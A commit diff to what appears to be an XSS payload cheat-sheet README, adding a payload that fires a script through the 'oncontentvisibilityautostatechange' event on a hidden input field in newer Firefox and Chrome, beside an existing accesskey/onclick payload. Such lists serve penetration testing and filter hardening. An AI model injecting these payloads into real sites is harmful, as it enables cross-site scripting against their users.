Update README.md

addedd contentvisibilityautostatechange_event for hidden input
This commit is contained in:
ⵟⴰⵕⵉⴽ ⴱⴰⴽⵉⵕ 2024-10-13 23:23:07 +01:00 committed by GitHub
parent 37f0740d07
commit faeee7270a
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -295,6 +295,10 @@ e.g: 14.rs/#alert(document.domain)
<input type="hidden" accesskey="X" onclick="alert(1)"> <input type="hidden" accesskey="X" onclick="alert(1)">
Use CTRL+SHIFT+X to trigger the onclick event Use CTRL+SHIFT+X to trigger the onclick event
``` ```
in newer browsers : firefox-130/chrome-108
```javascript
<input type="hidden" oncontentvisibilityautostatechange="alert(1)" style="content-visibility:auto" >
```
### XSS when payload is reflected capitalized ### XSS when payload is reflected capitalized